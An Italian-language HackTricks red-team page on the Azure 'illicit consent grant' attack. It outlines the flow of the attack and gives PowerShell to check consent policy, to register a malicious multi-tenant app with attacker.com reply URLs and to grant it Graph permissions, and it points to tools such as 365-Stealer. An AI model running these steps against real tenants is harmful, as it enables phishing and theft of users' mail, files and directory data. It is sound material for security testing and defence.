Az - Illicit Consent Grant

Impara e pratica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Controlla i piani di abbonamento!
Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.

OAuth App Phishing

Azure Applications chiedono permessi per accedere ai dati dell'utente (informazioni di base, ma anche accesso a documenti, invio di email...). Se consentito, un utente normale può concedere il consenso solo per permessi a "basso impatto". In tutti gli altri casi, è richiesto il consenso dell'amministratore. GA, ApplicationAdministrator, CloudApplication Administrator e un ruolo personalizzato che include il permesso di concedere permessi alle applicazioni possono fornire il consenso a livello di tenant.

Solo i permessi che non richiedono il consenso dell'amministratore sono classificati come basso impatto. Questi sono i permessi richiesti per l'accesso di base: openid, profile, email, User.Read e offline_access. Se un'organizzazione consente il consenso degli utenti per tutte le app, un dipendente può concedere il consenso a un'app per leggere le informazioni sopra dal loro profilo.

Pertanto, un attaccante potrebbe preparare un'App dannosa e con un phishing, far accettare all'utente l'App e rubare i suoi dati.

Non autenticato: Da un account esterno creare un'applicazione con i permessi User.Read e User.ReadBasic.All per esempio, fare phishing a un utente, e sarai in grado di accedere alle informazioni della directory.
Questo richiede che l'utente phishing possa accettare app OAuth da ambienti esterni!
Autenticato: Avendo compromesso un principale con sufficienti privilegi, creare un'applicazione all'interno dell'account e fare phishing a qualche utente privilegiato che può accettare permessi OAuth privilegiati.
In questo caso puoi già accedere alle informazioni della directory, quindi il permesso User.ReadBasic.All non è più interessante.
Probabilmente sei interessato a permessi che richiedono un amministratore per concederli, perché l'utente normale non può dare alle app OAuth alcun permesso, ecco perché devi fare phishing solo a quegli utenti (più avanti su quali ruoli/permessi concedono questo privilegio)

Verifica se gli utenti possono concedere il consenso

Il seguente comando PowerShell viene utilizzato per verificare la configurazione del consenso per gli utenti in Azure Active Directory (Azure AD) riguardo alla loro capacità di concedere il consenso alle applicazioni:

PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole

Disabilita il consenso degli utenti: Questa impostazione vieta agli utenti di concedere permessi alle applicazioni. Non è consentito alcun consenso degli utenti alle applicazioni.
Gli utenti possono acconsentire alle app di editori verificati o della tua organizzazione, ma solo per i permessi che selezioni: Questa impostazione consente a tutti gli utenti di acconsentire solo alle applicazioni pubblicate da un editore verificato e alle applicazioni registrate nel proprio tenant. Aggiunge un livello di controllo consentendo il consenso solo per permessi specifici.
Gli utenti possono acconsentire a tutte le app: Questa impostazione è più permissiva e consente a tutti gli utenti di acconsentire a qualsiasi permesso per le applicazioni, purché tali permessi non richiedano il consenso amministrativo.
Politica di consenso personalizzata per le app: Questa impostazione indica che è in atto una politica personalizzata, che può essere adattata a requisiti organizzativi specifici e può coinvolgere una combinazione di restrizioni basate sull'editore dell'app, sui permessi richiesti dall'app e su altri fattori.

In un attacco di illicit consent grant, gli attaccanti ingannano gli utenti finali facendogli concedere permessi a un'applicazione dannosa registrata con Azure. Questo viene fatto facendo apparire l'applicazione legittima, portando le vittime a cliccare inconsapevolmente su un pulsante "Accetta". Di conseguenza, Azure AD emette un token al sito dell'attaccante, consentendogli di accedere e manipolare i dati della vittima, come leggere o inviare email e accedere ai file, senza bisogno di un account organizzativo.

Panoramica del flusso dell'attacco

L'attacco coinvolge diversi passaggi mirati a una compagnia generica. Ecco come potrebbe svolgersi:

Registrazione del dominio e hosting dell'applicazione: L'attaccante registra un dominio che assomiglia a un sito affidabile, ad esempio "safedomainlogin.com". Sotto questo dominio, viene creato un sottodominio (es. "companyname.safedomainlogin.com") per ospitare un'applicazione progettata per catturare codici di autorizzazione e richiedere token di accesso.
Registrazione dell'applicazione in Azure AD: L'attaccante registra quindi un'applicazione multi-tenant nel proprio tenant Azure AD, nominandola come la compagnia target per apparire legittima. Configurano l'URL di reindirizzamento dell'applicazione per puntare al sottodominio che ospita l'applicazione dannosa.
Impostazione dei permessi: L'attaccante configura l'applicazione con vari permessi API (es. Mail.Read, Notes.Read.All, Files.ReadWrite.All, User.ReadBasic.All, User.Read). Questi permessi, una volta concessi dall'utente, consentono all'attaccante di estrarre informazioni sensibili per conto dell'utente.
Distribuzione di link dannosi: L'attaccante crea un link contenente l'id client dell'applicazione dannosa e lo condivide con gli utenti target, ingannandoli per ottenere il consenso.

Utilizzo di strumenti per l'attacco

L'attacco può essere facilitato utilizzando strumenti come 365-Stealer.

Preparazione pre-attacco:

Se l'attaccante ha un certo livello di accesso a un utente nell'organizzazione vittima, potrebbe verificare se la politica dell'organizzazione consente all'utente di accettare app:

Import-Module .\AzureADPreview\AzureADPreview.psd1
$passwd = ConvertTo-SecureString "Password!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("generic@corp.onmicrosoft.com", $passwd)
Connect-AzureAD -Credential $creds
(Get-AzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole
# Check if "ManagePermissionGrantsForSelf.microsoft-user-default-legacy" is present, indicating permission to accept apps.

Per eseguire l'attacco, l'attaccante dovrebbe creare una nuova App nel proprio Azure Tenant (in Registrazioni app), configurata con le autorizzazioni:

User.ReadBasic.All è all'interno di Microsoft Graph in Delegated permissions. (Le autorizzazioni dell'applicazione richiederanno sempre un'approvazione extra).

User.ReadBasic.All è l'autorizzazione che ti permetterà di leggere le informazioni di tutti gli utenti nell'organizzazione se concessa.
Ricorda che solo GA, ApplicationAdministrator, CloudApplication Administrator e un ruolo personalizzato che include permission to grant permissions to applications possono fornire il consenso a livello di tenant. Quindi, dovresti phishare un utente con uno di questi ruoli se vuoi che approvi una App che richiede il consenso dell'amministratore.

Puoi anche creare un'App tramite cli con:

# Generate Application
New-AzureADApplication -DisplayName "MyApp"  -ReplyUrls @("https://attacker.com", "https://attacker.com/gettoken") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true

# Generate Secret
New-AzureADApplicationPasswordCredential -ObjectId f76ebd35-xxxx-xxxx-xxxx-xxxxxxxxxxxx -CustomKeyIdentifier "MyAppSecret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

# Generate an application with the permissions
$objectid=New-AzureADApplication -DisplayName "AppName"  -ReplyUrls @("https://example.com/login/authorized") -Oauth2AllowImplicitFlow $true -AvailableToOtherTenants $true | select-object ObjectId
New-AzureADApplicationPasswordCredential -ObjectId $objectid.ObjectId -CustomKeyIdentifier "secret" -StartDate (Get-Date) -EndDate (Get-Date).AddYears(3)

$AppObjectID = $objectid.ObjectId # object id in AD
$app = Get-AzureADApplication -ObjectId $AppObjectID
$AADAccess = $app.RequiredResourceAccess | Where-Object {$_.ResourceAppId -eq "00000003-0000-0000-c000-000000000000"}  # "00000003-0000-0000-c000-000000000000" represents Graph API
if($AADAccess -eq $null) {
$AADAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess
$AADAccess.ResourceAppId = "00000003-0000-0000-c000-000000000000"

$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)

$app.RequiredResourceAccess.Add($AADAccess)
} else {
$Access = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access.Type = "Scope"
$Access.Id = "14dad69e-099b-42c9-810b-d002981feec1"
$AADAccess.ResourceAccess = @()
$AADAccess.ResourceAccess.Add($Access)

$Access2 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access2.Type = "Scope"
$Access2.Id = "e1fe6dd8-ba31-4d61-89e7-88639da4683d"
$AADAccess.ResourceAccess.Add($Access2)

$Access3 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access3.Type = "Scope"
$Access3.Id = "df85f4d6-205c-4ac5-a5ea-6bf408dba283"
$AADAccess.ResourceAccess.Add($Access3)

$Access4 = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess
$Access4.Type = "Scope"
$Access4.Id = "10465720-29dd-4523-a11a-6a75c743c9d9"
$AADAccess.ResourceAccess.Add($Access4)
}

Set-AzureADApplication -ObjectId $AppObjectID -RequiredResourceAccess $app.RequiredResourceAccess
Get-AzureADApplication -ObjectId $objectid.ObjectId | select-object appid

Controlla https://www.alteredsecurity.com/post/introduction-to-365-stealer per imparare come configurarlo.

Nota che il token di accesso ottenuto sarà per il graph endpoint con gli scope: User.Read e User.ReadBasic.All (le autorizzazioni richieste). Non sarai in grado di eseguire altre azioni (ma queste sono sufficienti per scaricare informazioni su tutti gli utenti nell'organizzazione).

O365-Attack-Toolkit

Puoi anche usare questo strumento per eseguire questo attacco.

Post-Exploitation

Una volta ottenuto l'accesso all'utente, puoi fare cose come rubare documenti sensibili e persino caricare file di documenti con backdoor.

Riferimenti